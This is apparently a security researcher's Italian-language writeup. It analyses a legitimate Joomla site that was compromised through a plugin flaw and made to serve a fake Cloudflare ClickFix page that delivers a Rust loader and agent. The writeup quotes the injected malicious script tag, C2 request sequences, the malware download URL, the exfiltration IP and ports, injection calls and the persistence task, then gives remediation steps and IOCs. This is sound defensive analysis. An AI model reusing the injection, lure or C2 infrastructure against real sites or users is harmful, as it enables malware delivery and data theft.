Il 15 luglio 2026 mi sono imbattuto nel sito di un'azienda del territorio, un sito perfettamente normale, online da anni, che stava distribuendo malware ai propri visitatori Windows senza che nessuno se ne fosse accorto. Non un sito truffa: un'attività vera, compromessa e trasformata a sua insaputa in un veicolo di distribuzione.
In questo writeup racconto l'intera catena: come l'ho scoperta, come si comportava lo script iniettato, cosa succedeva quando "detonavo" il malware in una sandbox isolata, cosa ho tirato fuori dai dump di memoria, e perché arrivare a dire cosa fa davvero un malware è molto più difficile di quanto sembri.
Nota su responsible disclosure. Il nome dell'azienda vittima e il suo dominio sono censurati: era un bersaglio incolpevole, un sito legittimo compromesso. Gli indicatori dell'infrastruttura dell'attaccante (domini C2, hash, IP) sono invece riportati, perché condividerli aiuta chi fa difesa a bloccarli. L'analisi è stata condotta in ambiente isolato e l'azienda è stata avvisata.
1. La scoperta: uno script che non doveva esserci
Tutto è partito da un dettaglio nel sorgente HTML. In tutte le pagine, dentro il markup del menu di navigazione, compariva uno script estraneo:
...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...
Quel " orfano prima di <a> è la firma di una sostituzione automatica via PHP lato server, non di una modifica manuale al template. Lo script veniva iniettato una volta per ogni modulo-menu renderizzato: le pagine con megamenu desktop e menu mobile ne mostravano due copie, quelle con un solo menu una sola.
Il dominio js.aacaw.com non c'entrava nulla con il sito. Primo campanello.
2. Non è il malware: è un cancello
Ho scaricato e deoffuscato fp/v1.min.js (97.920 byte esatti, offuscato con obfuscator.io). La sorpresa: non contiene alcun payload. Zero occorrenze di captcha, download, .exe, blob, clipboard. È un fingerprint gate, un cancello che profila il visitatore e decide se vale la pena attaccarlo.
Lo script raccoglie un fingerprint esteso lato client:
- canvas e WebGL (vendor e renderer via
WEBGL_debug_renderer_info) - enumerazione dei font installati
navigatorcompleto (userAgent, platform, plugins, hardwareConcurrency, lingua)- risoluzione schermo, timezone
Poi invia tutto a un C2 e aspetta il via libera. Deoffuscando e rieseguendo lo script in una sandbox Node con browser mockato e rete intercettata, ho ricostruito la catena passo-passo:
GET https://api.aacak.com/domain → {"domain":"aacak.com"} (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
(se il profilo è un bersaglio → inietta il secondo stadio JS)
La prima richiesta è un meccanismo di domain-agility: lo script chiede al C2 quale sia il dominio attivo prima di procedere, così l'attaccante può ruotare l'infrastruttura senza toccare il sito infetto. Il fingerprint viaggia senza alcuna firma HMAC, quindi lo schema è banalmente forgiabile, dettaglio utile più avanti.
Su Mac, Linux o mobile il cancello non riceve mai il via libera e non mostra nulla. Ecco perché una compromissione del genere può passare inosservata per mesi: si attiva solo per il bersaglio giusto.
3. Il falso Cloudflare e la tecnica ClickFix
Quando il profilo è un Windows desktop, il gate inietta un secondo stadio (static.aacak.com/fp/check.v1.min.js, 992.491 byte) che costruisce una imitazione pixel-perfect della challenge di Cloudflare. Testi verbatim come "Performing security verification", "This website uses a security service to protect against malicious bots", branding Cloudflare, e persino i link reali a cloudflare.com/turnstile e cdn-cgi/challenge-platform per autenticità. La copertina di questo articolo è una ricostruzione statica di come appariva.
Qui scatta la tecnica ClickFix. La pagina mostra sei campi per un "codice di verifica" e un pulsante "Verify now": è tutto uno specchietto. Il download vero parte da un link secondario, "Not enabled yet? Get it now". Cliccandolo:
POST https://api.aacak.com/fingerprint/download-click (telemetria del clic)
GET https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe
Il malware viene servito come blob application/octet-stream da un bucket AWS S3 a Hong Kong (fp-hk, ovvero fingerprint-HK), spacciato per un "validatore" necessario a completare il CAPTCHA. Dopo il clic il link diventa "Validator downloaded". L'utente esegue il malware credendo di sbloccare un CAPTCHA, senza alcuna vulnerabilità del browser, solo ingegneria sociale ben confezionata.
4. La causa a monte: un plugin Joomla non aggiornato
Come ci è finito quello script nel server? Il sito girava su Joomla 4.4.14 (branch end-of-life) con SP Page Builder 4.0.7, affetto da:
| Campo | Valore |
|---|---|
| CVE | CVE-2026-48908, file upload non autenticato che porta a RCE |
| Funzione | asset.uploadCustomIcon (manca il controllo di accesso) |
| Fix | v6.6.2, rilasciata il 14/06/2026 |
| Stato | in CISA KEV (sfruttamento attivo confermato) dal 07/07/2026 |
Incrociando con la Wayback Machine, l'homepage risultava pulita al 12 maggio 2026: la finestra di compromissione si restringe al periodo tra maggio e luglio, coerente con la comparsa della CVE nella lista delle vulnerabilità sfruttate attivamente. Lezione numero uno, la più noiosa e la più importante: un plugin obsoleto è la porta d'ingresso.
5. Detonazione in sandbox isolata
Passiamo al binario. checkbot-win-*.exe, circa 2,76 MB, non firmato. All'esecuzione droppa una classica coppia di DLL sideloading: dumpchk.exe (binario Microsoft legittimo e firmato) che carica un dbgeng.dll malevolo al posto della DLL di sistema omonima.
L'ho eseguito in una VM Windows completamente isolata, senza accesso a internet reale, con una rete finta che logga ogni tentativo di connessione. Ricostruendo la timeline dal .pcap, il malware ha interrogato in sequenza tre domini C2:
~177s api.fingerprint-probe.com ← primo contatto
~370s api.aacaw.com ← stessa famiglia di js.aacaw.com sul sito!
~382s api.aacak.com ← variante typosquat, fallback
Il secondo dominio è la prova diretta che il malware distribuito e lo script sul sito appartengono alla stessa infrastruttura. Tutte le risoluzioni DNS fallivano di proposito, quindi il malware non ha potuto esfiltrare nulla, ma la sequenza di domini è esattamente ciò che avrebbe cercato di fare su un PC reale.
6. Memory dumping: leggere ciò che il disco nasconde
Il file dbgeng.dll su disco non contiene stringhe malevole in chiaro: incorpora due blob cifrati che copia in memoria RWX ed esegue. Il payload va letto in RAM, non su disco.
Catturando un dump completo della memoria della VM durante l'esecuzione, sono emerse in chiaro informazioni che il file cifrato non rivelava:
- Endpoint C2 dell'eseguibile:
/fingerprint/create(distinto dagli endpoint del gate web) - Libreria HTTP:
ureq/3.3.0conrustls 0.23.41, quindi il payload è scritto in Rust (il loader iniziale è invece C/C++ MSVC: loader C, payload Rust, un pattern comune nel malware moderno) - GUID vittima univoco:
0ec389f5-32ae-4a02-85c3-b3a3f21fe78d - Anti-sandbox: stringhe
bochseBOCHS, cioè controlla la presenza dell'emulatore Bochs (non ha rilevato il nostro QEMU/WHPX, per questo si è comportato normalmente) - Branding:
CheckBot Error
Con Volatility3 ho poi fatto le cose per bene su due esecuzioni indipendenti (pslist, malfind, memmap, vadinfo):
pslist → checkbot-win.exe = PID 3596, nessun processo figlio
malfind → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager
Qui una trappola metodologica in cui è facilissimo cadere: malfind segnala regioni RWX in Windows Defender e in processi .NET. Sembrano "iniezione in Defender", ma sono i falsi positivi noti, perché quei processi usano legittimamente memoria RWX per il motore di scansione e il JIT. Nessuno di quegli hit era nel malware. Chi non lo sa scrive un report sbagliato con grande sicurezza.
Il dato importante è un altro: nel nostro ambiente il malware preparava la configurazione e si fermava lì, perché il C2 non rispondeva mai. L'iniezione di codice è condizionata a una risposta positiva del C2, quindi il comportamento pericoloso si sblocca solo per vittime reali con internet funzionante.
7. Cosa fa DAVVERO: il differential contro una build pulita
Dal dump ho carvato il payload Rust decifrato (circa 780 KB). E qui viene la parte metodologicamente più delicata di tutta l'analisi.
La tentazione è: cerco stringhe nel dump, trovo wallet, MetaMask, Login Data, Active Directory, e concludo "è uno stealer di wallet e credenziali!". Sbagliato. rustls e la standard library sono linkate staticamente: le loro costanti (tabelle OID, header HTTP) finiscono nel .rdata del blob, co-locate coi marker del malware. Uno scan grezzo di un dump da 8,6 GB pesca stringhe da altri processi e DLL in RAM, non dal malware.
Per non prendere lucciole per lanterne ho compilato una build pulita di riferimento con le versioni esatte dei crate (ureq 3.3.0, rustls 0.23.41, http 1.4.2) e ho sottratto le sue stringhe da quelle del payload. Risultato:
id-smime-cd-ldap,Exchange,LDAP,Cookiescompaiono anche nella build pulita: rumore di libreria, dimostratoActive Directory,SharePoint,DPAPI,wallet,MetaMask,CVVsono assenti perfino nel payload: venivano da altri processi in RAM- ciò che resta dopo la sottrazione sono i moduli Rust dell'autore:
src/core/crypto.rs,src/core/client_id.rs,src/core/i18n.rs,src/core/probe.rs, più anti-debug e uno schema di telemetria
Verdetto sull'eseguibile iniziale: CheckBot è un fingerprinting-probe/loader, NON uno stealer, conclusione difendibile per differenza contro build pulita, non per prossimità di stringhe. Il furto dati, se c'è, è uno stadio successivo.
8. Detonazione live: far cadere l'anti-analisi
Finché il C2 non rispondeva, lo stadio malevolo non si attivava. Per osservarlo ho fatto una detonazione con egress reale verso il C2 vivo, in VM isolata a livello di rete (il guest raggiunge internet ma non la LAN o l'host).
Primo run live: negato. La mia VM "urlava sandbox": hostname SANDBOX-PC, utente Administrator, CPU qemu64, 1 core, SMBIOS QEMU, MAC 52:54:00. Il C2 ha risposto con pochi KB e nessun modulo.
Secondo run: sandbox indurita. Ho camuffato tutto nei parametri QEMU:
-cpu Skylake-Client-v1,-smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell00:14:22, hostnameWKS-MARCO- un profilo utente credibile con credenziali-esca canarytoken:
Desktop\Password.txtcon chiave AWS, banca ed email, più.aws\credentialse documenti Office, tutte finte ma armate, perché scattano quando l'attaccante le usa
Stavolta il fingerprint è passato e lo stadio finale è arrivato. Osservato direttamente:
- Connessione a
103.1.225.34:8001e:8002, TLS su porte non standard, senza SNI, IP diretto, con download di circa 4 MB di moduli e upload di circa 21 KB (esfiltrazione) - Furto delle esche provato: nella memoria privata del processo iniettato
dllhost.exe(PID 4688) c'era il contenuto integrale diPassword.txt, chiave AWS canaryAKIATU7L4S6WXXD53K7Yinclusa. Undllhost.exesano non legge file dal Desktop utente - Injection confermata con evidenza diretta di
VirtualAllocEx,WriteProcessMemoryeCreateRemoteThreadisolate nel modulo (di nuovo verificate col metodo differential, per non confonderle con stringhe di libreria) - DNS-over-HTTPS per nascondere il C2:
cloudflare-dns.com/dns-queryedns.quad9.net/dns-queryrisolvevano un nuovo dominios4.cache-task.com, eludendo i log DNS di rete
9. Attribuzione: perché pensiamo siano cinesi
Un pezzo che nei writeup si dà spesso per scontato, ma che qui poggia su evidenze concrete e indipendenti. L'attribuzione a operatori sinofoni non nasce da un indizio solo, ma da stringhe in cinese semplificato trovate in punti diversi e non collegati della catena: script web, backend C2, pagina-esca, binario. Se fosse un punto solo direi coincidenza; quattro punti indipendenti no.
Gli esempi concreti, con la traduzione:
- Errore del C2, mandando un fingerprint malformato al backend Rust:
fp_data 缺少必要字段, cioè "mancano campi obbligatori". Il messaggio d'errore è scritto in cinese direttamente nel server. - Stringhe del falso CAPTCHA:
看 6 位验证码, cioè "guarda il codice a 6 cifre", i commenti per l'operatore dietro la finta challenge Cloudflare. - Frammento nel gate:
网络, cioè "rete", lasciato tra il codice del fingerprint. - Commento nel CSS della pagina-esca:
BOSS 约束, cioè "vincolo del capo". Un dettaglio quasi umano, il tipo di commento che uno sviluppatore scrive per sé stesso, non pensando che finirà sotto la lente di un analista.
C'è di più, e sposta l'attribuzione dal linguaggio all'infrastruttura. La risoluzione dei domini avveniva via DNS-over-HTTPS multi-provider, e tra i resolver scelti c'era dns.alidns.com, cioè il DNS pubblico di Alibaba (Cina), accanto a cloudflare-dns.com, quad9.net e dns.google. Una scelta che ha un doppio scopo: bypassare il resolver DNS locale (niente traccia nel DNS aziendale o dell'ISP) e appoggiarsi a infrastruttura comoda per chi opera da quell'area.
Infine, un dettaglio dai path di panic del binario Rust: lo stealer è stato cross-compilato su macOS (toolchain stable-aarch64-apple-darwin). Non è una prova di nazionalità, ma dipinge il profilo: operatori che sviluppano su Mac Apple Silicon, con messaggistica interna in cinese, e infrastruttura che tocca provider cinesi.
Resta un'attribuzione forte ma non conclusiva: le stringhe in una lingua possono essere messe apposta per depistare. Però la coerenza tra linguaggio, provider DNS e stile dei commenti rende il falso-flag meno probabile di quanto lo renderebbe un singolo indizio isolato.
10. Non uno stealer a target fissi, ma un agente modulare
Recuperando il modulo decompresso dalla RAM (Volatility3 vadinfo --dump) e disassemblandolo, è emerso l'intero albero dei sorgenti Rust dell'autore (dai path di panic app/r/...):
core/ c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/ beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/ remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/ cfg.rs, version.rs (v0.0.32)
Questo spiega l'assenza di stringhe browser e wallet: non è uno stealer a target cablati, è un agente modulare guidato da task del C2. L'operatore spinge i comandi (inject_host, restart, update, sleep, stop, god, fmt e altri); il furto di file è avvenuto perché ha inviato il task giusto, e infatti si è preso la mia esca. Capacità come furto browser o wallet sarebbero moduli aggiuntivi scaricati on-demand. La superficie di rischio è aperta; ciò che è dimostrato su questa vittima è: injection, recon, persistenza, furto file su comando ed esfiltrazione.
11. Persistenza e neutralizzazione
La persistenza è ridondante, pensata per resistere alla bonifica. La stringa letterale è cablata nel binario CheckBot:
- Gancio primario: scheduled task camuffato
\Microsoft\Windows\Device Information\DeviceCensusHelper(imita il legittimoDeviceCensus, autore falsificato Microsoft Corporation), creato via Task Scheduler COM API, che esegue il loader sideload a ogni boot - Gancio fallback: chiave di registro HKLM (
immortal.rs), usata se il task fallisce - Self-heal:
immortal.rsesupervisor.rsriavviano i thread, e task e corpo si ricreano a vicenda
Ecco perché per bonificare non basta cancellare un file. Servono tutti i ganci insieme:
- Sito offline e patch della causa: aggiornare SP Page Builder a una versione uguale o superiore alla 6.6.2, aggiornare tutto il resto, valutare la migrazione da Joomla 4.4 EOL
- Caccia alla persistenza sull'endpoint infetto: rimuovere lo scheduled task
DeviceCensusHelper, la chiave HKLM, il loader droppato (dumpchk.exeedbgeng.dll) e ildllhost.exeiniettato; se ne manca uno, si rigenera - Rotazione totale delle credenziali (admin Joomla, secret
configuration.php, DB, hosting, FTP/SSH, API key) - Sul server: cercare admin e webshell nascosti, senza fermarsi al plugin
- GDPR: il sito raccoglieva contatti via form, quindi con accesso al DB l'attaccante potrebbe aver visto dati di terzi; da qui la valutazione dell'obbligo di notifica breach (72 ore, Art. 33)
Come tocco finale, le esche canary esfiltrate sono armate: la chiave AWS AKIATU7L4S6WXXD53K7Y e i documenti Office con callback a canarytokens.com scatteranno quando l'operatore userà la refurtiva, rivelando IP e user-agent reali dell'attaccante.
Indicatori di compromissione (IOC)
| Tipo | Valore |
|---|---|
| Dominio gate (iniettato) | js.aacaw.com |
| Domini C2 | api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com |
| Secondo stadio JS | static.aacak.com/fp/check.v1.min.js |
| Delivery/exfil (S3 Hong Kong) | fp-hk.s3.ap-east-1.amazonaws.com, con super4/checkbot/checkbot-*-0.0.32.exe e super4/zip/<token>.zip |
| Server esfiltrazione finale | 103.1.225.34:8001 e :8002 (TLS senza SNI, IP diretto) |
| Dominio C2 via DoH | s4.cache-task.com |
| Persistenza | scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper |
| Processo bersaglio injection | dllhost.exe |
Hash dbgeng.dll (payload malevolo) |
d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3 |
| CVE sfruttata | CVE-2026-48908 (SP Page Builder fino alla 6.6.1, Joomla) |
| Attribuzione | stringhe in cinese in gate, C2 ed esca, DoH verso Alibaba, build su macOS, quindi operatori sinofoni |
Cosa mi porto a casa
Tre lezioni, in ordine di importanza.
Un plugin non aggiornato basta. Nessun exploit sofisticato del browser, nessuno zero-day: una CVE nota in un plugin end-of-life, e un sito legittimo diventa un distributore di malware per mesi senza che nessuno se ne accorga, perché il cancello si attiva solo per il bersaglio giusto.
L'analisi statica non basta contro il packing moderno. Downloader Rust, poi zip cifrato con password dal C2, poi loader C con blob XOR-rolling, poi shellcode, poi payload compresso a runtime. Ogni strato è pensato per fermare chi guarda solo il file su disco. La verità sta in RAM, e va tirata fuori con detonazione controllata e memory forensics.
Attenzione a ciò che credi di aver trovato. I falsi positivi di malfind su Defender, le stringhe di libreria scambiate per capacità del malware, il primo elenco "wallet, browser, Telegram" che il differential ha demolito. La differenza tra un report giusto e uno sbagliato ma convincente è tutta qui: verificare per differenza, non per prossimità.
Se gestisci un sito su un CMS con plugin di terze parti, che sia Joomla, WordPress o Drupal, la domanda non è se ci sono aggiornamenti in sospeso, ma da quanto.
